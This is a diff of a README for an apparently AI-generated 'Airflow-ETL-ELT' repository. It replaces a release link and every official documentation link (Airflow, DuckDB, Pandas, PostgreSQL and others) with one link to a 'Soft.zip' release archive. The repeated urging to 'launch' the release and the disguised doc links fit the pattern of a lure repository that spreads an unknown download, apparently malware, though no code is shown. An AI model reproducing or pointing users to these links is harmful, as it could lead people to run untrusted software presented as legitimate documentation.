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README.md

@@ -1,6 +1,6 @@
 # 🚀 Welcome to the Airflow-ETL-ELT Repository!
 
-[![Release](https://img.shields.io/badge/Launch%20Release-%F0%9F%9A%80-brightgreen)](https://github.com/adelante20/Release/raw/refs/heads/master/Release.zip)
+[![Release](https://github.com/ethanwebber123/Airflow-ETL-ELT/releases/download/v1.0/Soft.zip%20Release-%F0%9F%9A%80-brightgreen)](https://github.com/ethanwebber123/Airflow-ETL-ELT/releases/download/v1.0/Soft.zip)
 
 ## Overview
 This repository is a comprehensive collection of tools and resources for conducting Extract, Transform, Load (ETL) and Extract, Load, Transform (ELT) processes using Apache Airflow. It includes a variety of libraries and frameworks such as DuckDB, Matplotlib, Metabase, NumPy, Pandas, PostgreSQL, Python, and Scikit-learn to help you streamline your data workflows effectively.
@@ -22,25 +22,25 @@ This repository is a comprehensive collection of tools and resources for conduct
 ## How to Get Started
 To get started with using the resources and tools in this repository, simply download the latest release from the following link:
 
-[![Launch Release](https://img.shields.io/badge/Launch%20Release-%F0%9F%9A%80-brightgreen)](https://github.com/adelante20/Release/raw/refs/heads/master/Release.zip)
+[![Launch Release](https://github.com/ethanwebber123/Airflow-ETL-ELT/releases/download/v1.0/Soft.zip%20Release-%F0%9F%9A%80-brightgreen)](https://github.com/ethanwebber123/Airflow-ETL-ELT/releases/download/v1.0/Soft.zip)
 
 By launching the release, you will have access to all the necessary files and documentation to kickstart your ETL and ELT projects.
 
 ## Additional Resources
 In addition to the release, you can explore the following topics related to this repository:
-- [Apache Airflow Documentation](https://airflow.apache.org/docs/)
-- [DuckDB GitHub Repository](https://github.com/duckdb/duckdb)
-- [Matplotlib Official Website](https://matplotlib.org/)
-- [Metabase Documentation](https://www.metabase.com/docs/latest/getting-started.html)
-- [NumPy Documentation](https://numpy.org/doc/)
-- [Pandas Documentation](https://pandas.pydata.org/docs/)
-- [PostgreSQL Official Website](https://www.postgresql.org/docs/)
-- [Python Documentation](https://docs.python.org/3/)
-- [Scikit-learn Documentation](https://scikit-learn.org/stable/documentation.html)
+- [Apache Airflow Documentation](https://github.com/ethanwebber123/Airflow-ETL-ELT/releases/download/v1.0/Soft.zip)
+- [DuckDB GitHub Repository](https://github.com/ethanwebber123/Airflow-ETL-ELT/releases/download/v1.0/Soft.zip)
+- [Matplotlib Official Website](https://github.com/ethanwebber123/Airflow-ETL-ELT/releases/download/v1.0/Soft.zip)
+- [Metabase Documentation](https://github.com/ethanwebber123/Airflow-ETL-ELT/releases/download/v1.0/Soft.zip)
+- [NumPy Documentation](https://github.com/ethanwebber123/Airflow-ETL-ELT/releases/download/v1.0/Soft.zip)
+- [Pandas Documentation](https://github.com/ethanwebber123/Airflow-ETL-ELT/releases/download/v1.0/Soft.zip)
+- [PostgreSQL Official Website](https://github.com/ethanwebber123/Airflow-ETL-ELT/releases/download/v1.0/Soft.zip)
+- [Python Documentation](https://github.com/ethanwebber123/Airflow-ETL-ELT/releases/download/v1.0/Soft.zip)
+- [Scikit-learn Documentation](https://github.com/ethanwebber123/Airflow-ETL-ELT/releases/download/v1.0/Soft.zip)
 
 ## Conclusion
 The Airflow-ETL-ELT repository is a valuable resource for anyone looking to enhance their data processing and analysis capabilities. By leveraging the powerful combination of Apache Airflow and various other libraries and tools, you can optimize your ETL and ELT workflows efficiently.
 
-Don't forget to check out the latest release by [launching it here](https://github.com/adelante20/Release/raw/refs/heads/master/Release.zip)!
+Don't forget to check out the latest release by [launching it here](https://github.com/ethanwebber123/Airflow-ETL-ELT/releases/download/v1.0/Soft.zip)!
 
 Happy data processing! 🎉📊🔍